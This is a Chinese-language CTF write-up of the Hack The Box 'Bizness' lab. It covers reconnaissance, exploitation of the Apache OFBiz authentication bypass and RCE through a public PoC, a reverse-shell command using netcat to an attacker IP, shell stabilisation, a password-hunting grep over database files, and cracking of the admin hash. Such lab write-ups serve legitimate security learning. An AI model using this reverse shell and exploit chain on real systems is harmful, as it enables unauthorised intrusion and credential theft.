编辑
2024-05-29
undefined
00
请注意,本文编写于 238 天前,最后修改于 238 天前,其中某些信息可能已经过时。

目录

htb bizness

先绕过DNS解析,不然访问不了页面。通过在/etc/hosts文件中添加对应ip和域名来完成。

nmap扫描

└─$ nmap 10.10.11.252 -T4 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 09:11 EDT Nmap scan report for bizness.htb (10.10.11.252) Host is up (0.40s latency). Not shown: 969 closed tcp ports (conn-refused), 28 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 54.38 seconds

可以看到没有什么特殊有用的端口open,然后我们search一下有没有隐藏文件和隐藏目录。

shell
└─$ dirsearch -u https://bizness.htb/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/adamseeley/reports/https_bizness.htb/__24-04-23_09-19-19.txt Target: https://bizness.htb/ [09:19:19] Starting: [09:20:00] 400 - 795B - /\..\..\..\..\..\..\..\..\..\etc\passwd [09:20:10] 400 - 795B - /a%5c.aspx [09:20:32] 302 - 0B - /accounting -> https://bizness.htb/accounting/ [09:21:15] 302 - 0B - /catalog -> https://bizness.htb/catalog/ [09:21:21] 302 - 0B - /common -> https://bizness.htb/common/ [09:21:21] 404 - 762B - /common/ [09:21:21] 404 - 780B - /common/config/api.ini [09:21:21] 404 - 779B - /common/config/db.ini [09:21:25] 302 - 0B - /content -> https://bizness.htb/content/ [09:21:26] 302 - 0B - /content/debug.log -> https://bizness.htb/content/control/main [09:21:26] 302 - 0B - /content/ -> https://bizness.htb/content/control/main [09:21:27] 200 - 34KB - /control [09:21:27] 200 - 34KB - /control/ [09:21:28] 200 - 11KB - /control/login [09:21:32] 404 - 741B - /default.jsp [09:21:32] 404 - 763B - /default.html [09:21:39] 302 - 0B - /error -> https://bizness.htb/error/ [09:21:39] 404 - 761B - /error/ [09:21:39] 404 - 770B - /error/error.log [09:21:40] 302 - 0B - /example -> https://bizness.htb/example/ [09:21:58] 302 - 0B - /images -> https://bizness.htb/images/ [09:21:58] 404 - 769B - /images/c99.php [09:21:58] 404 - 768B - /images/README [09:21:59] 404 - 769B - /images/Sym.php [09:22:02] 404 - 762B - /images/ [09:22:02] 302 - 0B - /index.jsp -> https://bizness.htb/control/main [09:22:34] 404 - 682B - /META-INF [09:22:34] 404 - 682B - /META-INF/app-config.xml [09:22:34] 404 - 682B - /META-INF/application-client.xml [09:22:34] 404 - 682B - /META-INF/application.xml [09:22:34] 404 - 682B - /META-INF/CERT.SF [09:22:34] 404 - 682B - /META-INF/context.xml [09:22:34] 404 - 682B - /META-INF/eclipse.inf [09:22:34] 404 - 682B - /META-INF/ejb-jar.xml [09:22:34] 404 - 682B - /META-INF/jboss-app.xml [09:22:34] 404 - 682B - /META-INF/jboss-client.xml [09:22:34] 404 - 682B - /META-INF/jboss-deployment-structure.xml [09:22:34] 404 - 682B - /META-INF/jboss-ejb-client.xml [09:22:34] 404 - 682B - /META-INF/jboss-ejb3.xml [09:22:34] 404 - 682B - /META-INF/jbosscmp-jdbc.xml [09:22:34] 404 - 682B - /META-INF/ [09:22:34] 404 - 682B - /META-INF/MANIFEST.MF [09:22:34] 404 - 682B - /META-INF/openwebbeans/openwebbeans.properties [09:22:34] 404 - 682B - /META-INF/persistence.xml [09:22:34] 404 - 682B - /META-INF/beans.xml [09:22:34] 404 - 682B - /META-INF/container.xml [09:22:34] 404 - 682B - /META-INF/ra.xml [09:22:34] 404 - 682B - /META-INF/spring/application-context.xml [09:22:34] 404 - 682B - /META-INF/weblogic-ejb-jar.xml [09:22:34] 404 - 682B - /META-INF/weblogic-application.xml [09:22:35] 404 - 682B - /META-INF/SOFTWARE.SF [09:22:35] 404 - 682B - /META-INF/ironjacamar.xml [09:22:36] 404 - 682B - /META-INF/jboss-webservices.xml [09:23:19] 200 - 21B - /solr/admin/ [09:23:19] 302 - 0B - /solr/ -> https://bizness.htb/solr/control/checkLogin/ [09:23:19] 200 - 21B - /solr/admin/file/?file=solrconfig.xml [09:24:04] 404 - 682B - /WEB-INF/application_config.xml [09:24:04] 404 - 682B - /WEB-INF/beans.xml [09:24:04] 404 - 682B - /WEB-INF/cas-servlet.xml [09:24:04] 404 - 682B - /WEB-INF/cas.properties [09:24:04] 404 - 682B - /WEB-INF/ [09:24:04] 404 - 682B - /WEB-INF/application-client.xml [09:24:04] 404 - 682B - /WEB-INF/classes/app-config.xml [09:24:04] 404 - 682B - /WEB-INF [09:24:04] 404 - 682B - /WEB-INF/applicationContext.xml [09:24:04] 404 - 682B - /WEB-INF/classes/application.properties [09:24:04] 404 - 682B - /WEB-INF/classes/applicationContext.xml [09:24:04] 404 - 682B - /WEB-INF/classes/application.yml [09:24:04] 404 - 682B - /WEB-INF/classes/cas-theme-default.properties [09:24:04] 404 - 682B - /WEB-INF/classes/commons-logging.properties [09:24:04] 404 - 682B - /WEB-INF/classes/config.properties [09:24:04] 404 - 682B - /WEB-INF/classes/countries.properties [09:24:04] 404 - 682B - /WEB-INF/classes/default-theme.properties [09:24:04] 404 - 682B - /WEB-INF/classes/demo.xml [09:24:04] 404 - 682B - /WEB-INF/classes/default_views.properties [09:24:04] 404 - 682B - /WEB-INF/classes/db.properties [09:24:04] 404 - 682B - /WEB-INF/classes/faces-config.xml [09:24:04] 404 - 682B - /WEB-INF/classes/hibernate.cfg.xml [09:24:04] 404 - 682B - /WEB-INF/classes/fckeditor.properties [09:24:04] 404 - 682B - /WEB-INF/classes/log4j.xml [09:24:04] 404 - 682B - /WEB-INF/classes/logback.xml [09:24:04] 404 - 682B - /WEB-INF/classes/languages.xml [09:24:04] 404 - 682B - /WEB-INF/classes/META-INF/persistence.xml [09:24:04] 404 - 682B - /WEB-INF/classes/log4j.properties [09:24:04] 404 - 682B - /WEB-INF/classes/META-INF/app-config.xml [09:24:04] 404 - 682B - /WEB-INF/classes/messages.properties [09:24:04] 404 - 682B - /WEB-INF/classes/persistence.xml [09:24:04] 404 - 682B - /WEB-INF/classes/resources/config.properties [09:24:04] 404 - 682B - /WEB-INF/classes/protocol_views.properties [09:24:04] 404 - 682B - /WEB-INF/classes/mobile.xml [09:24:04] 404 - 682B - /WEB-INF/classes/services.properties [09:24:04] 404 - 682B - /WEB-INF/classes/struts-default.vm [09:24:04] 404 - 682B - /WEB-INF/classes/struts.properties [09:24:04] 404 - 682B - /WEB-INF/classes/struts.xml [09:24:04] 404 - 682B - /WEB-INF/classes/theme.properties [09:24:04] 404 - 682B - /WEB-INF/classes/velocity.properties [09:24:04] 404 - 682B - /WEB-INF/classes/validation.properties [09:24:04] 404 - 682B - /WEB-INF/classes/web.xml [09:24:04] 404 - 682B - /WEB-INF/conf/caches.dat [09:24:04] 404 - 682B - /WEB-INF/components.xml [09:24:04] 404 - 682B - /WEB-INF/conf/caches.properties [09:24:04] 404 - 682B - /WEB-INF/conf/config.properties [09:24:04] 404 - 682B - /WEB-INF/conf/core.xml [09:24:04] 404 - 682B - /WEB-INF/conf/daemons.properties [09:24:04] 404 - 682B - /WEB-INF/conf/core_context.xml [09:24:04] 404 - 682B - /WEB-INF/conf/db.properties [09:24:04] 404 - 682B - /WEB-INF/conf/lutece.properties [09:24:04] 404 - 682B - /WEB-INF/conf/jtidy.properties [09:24:04] 404 - 682B - /WEB-INF/conf/jpa_context.xml [09:24:04] 404 - 682B - /WEB-INF/conf/editors.properties [09:24:04] 404 - 682B - /WEB-INF/conf/mime.types [09:24:04] 404 - 682B - /WEB-INF/conf/page_navigator.xml [09:24:04] 404 - 682B - /WEB-INF/conf/wml.properties [09:24:04] 404 - 682B - /WEB-INF/conf/webmaster.properties [09:24:04] 404 - 682B - /WEB-INF/conf/search.properties [09:24:04] 404 - 682B - /WEB-INF/config.xml [09:24:05] 404 - 682B - /WEB-INF/config/dashboard-statistics.xml [09:24:05] 404 - 682B - /WEB-INF/config/faces-config.xml [09:24:05] 404 - 682B - /WEB-INF/config/users.xml [09:24:05] 404 - 682B - /WEB-INF/config/metadata.xml [09:24:05] 404 - 682B - /WEB-INF/config/webflow-config.xml [09:24:05] 404 - 682B - /WEB-INF/config/mua-endpoints.xml [09:24:05] 404 - 682B - /WEB-INF/config/soapConfig.xml [09:24:05] 404 - 682B - /WEB-INF/config/security.xml [09:24:05] 404 - 682B - /WEB-INF/config/webmvc-config.xml [09:24:05] 404 - 682B - /WEB-INF/config/web-core.xml [09:24:05] 404 - 682B - /WEB-INF/faces-config.xml [09:24:05] 404 - 682B - /WEB-INF/dispatcher-servlet.xml [09:24:05] 404 - 682B - /WEB-INF/deployerConfigContext.xml [09:24:05] 404 - 682B - /WEB-INF/ejb-jar.xml [09:24:05] 404 - 682B - /WEB-INF/decorators.xml [09:24:05] 404 - 682B - /WEB-INF/geronimo-web.xml [09:24:05] 404 - 682B - /WEB-INF/glassfish-web.xml [09:24:05] 404 - 682B - /WEB-INF/hibernate.cfg.xml [09:24:05] 404 - 682B - /WEB-INF/glassfish-resources.xml [09:24:05] 404 - 682B - /WEB-INF/jboss-client.xml [09:24:05] 404 - 682B - /WEB-INF/ias-web.xml [09:24:05] 404 - 682B - /WEB-INF/ibm-web-bnd.xmi [09:24:05] 404 - 682B - /WEB-INF/ibm-web-ext.xmi [09:24:05] 404 - 682B - /WEB-INF/jboss-deployment-structure.xml [09:24:05] 404 - 682B - /WEB-INF/jax-ws-catalog.xml [09:24:05] 404 - 682B - /WEB-INF/jboss-ejb-client.xml [09:24:05] 404 - 682B - /WEB-INF/jboss-ejb3.xml [09:24:05] 404 - 682B - /WEB-INF/jboss-web.xml [09:24:05] 404 - 682B - /WEB-INF/jetty-web.xml [09:24:05] 404 - 682B - /WEB-INF/jboss-webservices.xml [09:24:05] 404 - 682B - /WEB-INF/jetty-env.xml [09:24:05] 404 - 682B - /WEB-INF/jrun-web.xml [09:24:05] 404 - 682B - /WEB-INF/liferay-look-and-feel.xml [09:24:05] 404 - 682B - /WEB-INF/local-jps.properties [09:24:05] 404 - 682B - /WEB-INF/logs/log.log [09:24:05] 404 - 682B - /WEB-INF/liferay-display.xml [09:24:05] 404 - 682B - /WEB-INF/openx-config.xml [09:24:05] 404 - 682B - /WEB-INF/local.xml [09:24:05] 404 - 682B - /WEB-INF/liferay-layout-templates.xml [09:24:05] 404 - 682B - /WEB-INF/liferay-plugin-package.xml [09:24:05] 404 - 682B - /WEB-INF/logback.xml [09:24:05] 404 - 682B - /WEB-INF/quartz-properties.xml [09:24:05] 404 - 682B - /WEB-INF/portlet-custom.xml [09:24:05] 404 - 682B - /WEB-INF/liferay-portlet.xml [09:24:05] 404 - 682B - /WEB-INF/restlet-servlet.xml [09:24:05] 404 - 682B - /WEB-INF/resin-web.xml [09:24:05] 404 - 682B - /WEB-INF/remoting-servlet.xml [09:24:05] 404 - 682B - /WEB-INF/rexip-web.xml [09:24:05] 404 - 682B - /WEB-INF/portlet.xml [09:24:05] 404 - 682B - /WEB-INF/service.xsd [09:24:05] 404 - 682B - /WEB-INF/resources/config.properties [09:24:05] 404 - 682B - /WEB-INF/spring-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/authorization-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/application-context.xml [09:24:05] 404 - 682B - /WEB-INF/sitemesh.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/management-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/messaging-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/services-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/presentation-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-context.xml [09:24:05] 404 - 682B - /WEB-INF/spring-configuration/filters.xml [09:24:05] 404 - 682B - /WEB-INF/spring-config/services-remote-config.xml [09:24:05] 404 - 682B - /WEB-INF/spring-ws-servlet.xml [09:24:05] 404 - 682B - /WEB-INF/spring-dispatcher-servlet.xml [09:24:06] 404 - 682B - /WEB-INF/spring/webmvc-config.xml [09:24:06] 404 - 682B - /WEB-INF/springweb-servlet.xml [09:24:06] 404 - 682B - /WEB-INF/sun-web.xml [09:24:06] 404 - 682B - /WEB-INF/trinidad-config.xml [09:24:06] 404 - 682B - /WEB-INF/jonas-web.xml [09:24:06] 404 - 682B - /WEB-INF/struts-config-ext.xml [09:24:06] 404 - 682B - /WEB-INF/spring-mvc.xml [09:24:06] 404 - 682B - /WEB-INF/tiles-defs.xml [09:24:06] 404 - 682B - /WEB-INF/tjc-web.xml [09:24:06] 404 - 682B - /WEB-INF/struts-config-widgets.xml [09:24:06] 404 - 682B - /WEB-INF/struts-config.xml [09:24:06] 404 - 682B - /WEB-INF/sun-jaxws.xml [09:24:06] 404 - 682B - /WEB-INF/validation.xml [09:24:06] 404 - 682B - /WEB-INF/urlrewrite.xml [09:24:06] 404 - 682B - /WEB-INF/validator-rules.xml [09:24:06] 404 - 682B - /WEB-INF/web-borland.xml [09:24:06] 404 - 682B - /WEB-INF/web.xml [09:24:06] 404 - 682B - /WEB-INF/web.xml.jsf [09:24:06] 404 - 682B - /WEB-INF/web-jetty.xml [09:24:06] 404 - 682B - /WEB-INF/web2.xml [09:24:06] 404 - 682B - /WEB-INF/workflow-properties.xml [09:24:06] 404 - 682B - /WEB-INF/weblogic.xml Task Completed

状态码404说明服务器上没有该资源或者说无法通过http访问该资源,所以不用查看。

状态码302说明有资源,但转移了位置。

状态码200说明资源请求成功。

状态码400说明语法有问题,服务器无法理解请求。

我们查看这几个目录可以发现都会通往一个登陆页面:

Apache OFBiz

Apache OFBiz 是一个开源的企业资源规划 (ERP) 系统。它提供了一套企业应用程序,可以集成和自动化企业的许多业务流程。[需要引证]

我们可以找一找这个框架的CVE:

jakabakos/Apache-OFBiz-Authentication-Bypass: This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz. (github.com)

Apache OFBiz 企业资源规划 (ERP) 系统是一个基于 Java 的多功能 Web 框架,在各行各业中广泛使用,正面临着严峻的安全挑战。SonicWall 威胁研究团队发现了 CVE-2023-51467,这是一个严重的身份验证绕过漏洞,CVSS 评分为 9.8,揭示了系统完整性的惊人风险。该漏洞不仅使ERP系统面临潜在的漏洞利用,而且还为服务器端请求伪造(SSRF)漏洞打开了大门,对依赖Apache OFBiz的组织构成了双重威胁。

我们git clone这个repo,查看用法。

shell
python3 exploit.py --url https://localhost:8443 --cmd 'CMD'

我们在执行这一个命令之前需要先监听一个指定端口。

shell
nc -lvnp 9999
shell
nc -nlvp 是使用 netcat 命令的一种常见形式,用于监听并接受传入的连接,通常用于网络服务的调试、端口监听以及反向 shell 的设置。下面是对这个命令参数的解释: nc: netcat 的缩写,是一个网络工具,用于创建 TCP 或 UDP 连接,进行网络调试和数据传输。 -n: 表示不进行 DNS 解析,直接使用 IP 地址。 -l: 表示监听模式,用于侦听传入连接请求。 -v: 表示 verbose 模式,输出更多详细信息。 -p <port>: 指定监听的端口号。

指定端口9999.

然后

shell
~/htb/Apache-OFBiz-Authentication-Bypass> python3 exploit.py --url https://bizness.htb --cmd 'nc -C 10.10.14.8 9999 -c bash' [+] Generating payload... Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] Payload generated successfully. [+] Sending malicious serialized payload... [+] The request has been successfully sent. Check the result of the command.

ip地址可以通过:

shell
IP a查看

image-20240423221536217

监听shell,就可以发现可以使用命令:

image-20240423221602228

,然后userflag在home目录下。

image-20240423221650133

提权 root

然后为了能够拿到root的权限,我们需要获得管理员密码:

所以这里我们选择去获取密码。

首先我们这样反弹出来的shell斌不稳定,所以我们可以用这样的命令模拟一个终端:

python
script /dev/null -qc /bin/bash stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
  1. 启动 Bash Shell

    bashCopy code script /dev/null -qc /bin/bash
    • script /dev/null -qc /bin/bash:这个命令使用 script 工具以无输出模式(-q)运行 /bin/bash/dev/null 是一个空设备,因此不会将任何输出写入文件。
  2. 设置终端参数和环境变量

    bashCopy code stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
    • stty raw -echo:设置终端为原始模式(raw),禁用回显(-echo),这样可以更好地控制输入输出。
    • fg:将最近的暂停进程(即 /bin/bash)切换到前台,以便进行交互。
    • ls:列出当前目录的内容,这里可能是为了查看当前工作目录。
    • export SHELL=/bin/bash:设置 SHELL 环境变量为 /bin/bash,指定默认 shell。
    • export TERM=screen:设置 TERM 环境变量为 screen,指定终端类型为 screen
    • stty rows 38 columns 116:设置终端窗口的行数和列数为 38 行和 116 列。
    • reset:重置终端设置,以确保终端显示正常。

实际上我们在*/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml*这一个目录下能发现一个hash密码,但是现代的hash加密更加安全,往往会加一个salt来加密。所以我们还要找一个salt值。

然后我们在

*/opt/ofbiz/runtime/data/derby/ofbiz/seg0*这个目录下有这么一个文件:

这里是实际上我们可以通过这么一个正则表达式来筛选:

shell
grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}' grep: Linux/Unix 系统中用于搜索文本的命令。 -a: 将文件作为文本文件处理,即使它们可能是二进制文件。 -i: 忽略大小写进行匹配。 -r: 递归地搜索指定目录下的所有文件和子目录。 -n: 显示匹配行的行号。 -o: 只输出匹配的部分,而不是整行。 -E: 使用扩展的正则表达式语法进行匹配。 '(\w+\W+){0,5}password(\W+\w+){0,5}': 这是要匹配的正则表达式模式。 (\w+\W+){0,5}: 匹配零到五个单词字符后跟零到五个非单词字符的序列。 password: 匹配字面字符串 "password"。 (\W+\w+){0,5}: 匹配零到五个非单词字符后跟零到五个单词字符的序列

image-20240423232601988

通过另外一个repoduck-sec/Apache-OFBiz-SHA1-Cracker:破解 Apache OFBiz SHA1 哈希。只是你可能想做的事情...... (github.com)

可以暴力破解这个hash。

image-20240423232703257

得到密码。

image-20240423232723996

总结

我在这个靶机可以学到:

  • dirsearch 扫描隐藏文件和目录
  • 正则表达式筛选文件
  • 利用nc bash -C ip
    ,以及nc lvnp port反弹shell
  • 利用python或者script模拟终端。
如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!